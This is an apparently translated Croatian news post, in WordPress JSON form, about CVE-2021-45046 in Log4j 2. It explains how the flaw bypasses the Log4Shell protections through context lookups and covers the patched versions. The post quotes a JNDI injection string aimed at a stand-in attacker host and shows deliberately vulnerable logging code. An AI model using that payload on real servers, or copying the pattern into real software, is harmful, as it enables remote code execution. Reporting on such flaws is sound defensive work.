{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hr\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Nova varijanta napada na Log4j 2, koja omogu\u0107uje zaobila\u017eenje dodane za\u0161tite","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
U implementaciji JNDI zamjena u Log4j 2 biblioteci otkrivena je jo\u0161 jedna ranjivost (CVE-2021-45046) koja se manifestira unato\u010d ispravkama dodanim u verziji 2.15 i neovisno o kori\u0161tenju postavke «log4j2.noFormatMsgLookup» za za\u0161titu. Problem predstavlja opasnost prvenstveno za stare verzije Log4j 2, za\u0161ti\u0107ene zastavicom «noFormatMsgLookup», jer omogu\u0107ava zaobila\u017eenje za\u0161tite od prethodne ranjivosti (Log4Shell, CVE-2021-44228) koja omogu\u0107ava izvr\u0161avanje vlastitog koda na serveru. Za korisnike verzije 2.15, eksploatacija se ograni\u010dava na stvaranje uvjeta za nagli prekid aplikacije zbog iscrpljenja dostupnih resursa. <\/p>\n
Ranjivost se manifestira samo na sustavima u kojima se prilikom vo\u0111enja evidencije koriste kontekstni upiti (Context Lookup), poput ${ctx:loginId}, ili MDC uzorci (Thread Context Map), primjerice, %X, %mdc i %MDC. Eksploatacija se svodi na stvaranje uvjeta za ispis podataka u log koji sadr\u017ee JNDI zamjene, kada se u aplikaciji koriste kontekstni upiti ili MDC uzorci, koji definiraju pravila formatiranja ispisa u log. <\/p>\n
Istra\u017eiva\u010di iz tvrtke LunaSec istaknuli su da se za verzije Log4j manje od 2.15 ova ranjivost mo\u017ee koristiti kao novi vektor za napad Log4Shell, \u0161to dovodi do izvr\u0161avanja koda, ako se u logovima koriste izrazi ThreadContext koji sadr\u017ee vanjske podatke, neovisno o tome je li aktivirana zastavica «noMsgFormatLookups» ili predlo\u017eak «%m{nolookups}» za za\u0161titu.
<\/center> <\/p>\n
Zaobila\u017eenje za\u0161tite svodi se na to da se umjesto izravne zamjene «${jndi:ldap:\/\/attacker.com\/a}» ovo izra\u017eavanje zamjenjuje putem vrijednosti privremene varijable kori\u0161tene u pravilima za formatiranje loga. Na primjer, ako se u logu koristi kontekstni upit ${ctx:apiversion}, napad se mo\u017ee izvesti zamjenom podataka «${jndi:ldap:\/\/attacker.com\/a}» u vrijednost koja se zapisuje u varijablu apiversion. Primjer ranjivog koda: appender.console.layout.pattern = ${ctx:apiversion} \u2014 %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L \u2014 %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ Vrijednost HTTP zaglavlja «X-Api-Version» prenosi se u ThreadContext ThreadContext.put(«apiversion», apiVersion); \/\/ Kada se logira, vanjska vrijednost apiversion bit \u0107e obra\u0111ena zamjenom ${ctx:apiversion} logger.info(«Primljeni zahtjev za API verziju»); return «Hello, world!»; } <\/p>\n
U verziji Log4j 2.15, ranjivost se mo\u017ee iskoristiti za izvr\u0161enje DoS napada prilikom slanja u ThreadContext vrijednosti koje dovode do beskona\u010dne petlje obrade formata izlaznog predlo\u0161ka.
<\/center> <\/p>\n
Kako bi se uklonila ranjivost objavljena su a\u017euriranja 2.16 i 2.12.2. U grani Log4j 2.16, osim ispravki uvedenih u verziji 2.15 i vezanja JNDI LDAP zahtjeva za 'localhost', po defaultu je potpuno onemogu\u0107ena funkcionalnost JNDI i uklonjena je podr\u0161ka za predlo\u0161ke zamjene poruka. Kao privremena za\u0161tita predlo\u017eeno je da se ukloni klasa JndiLookup iz classpath-a (na primjer, 'zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class'). <\/p>\n
![\"Nova](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Nova](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n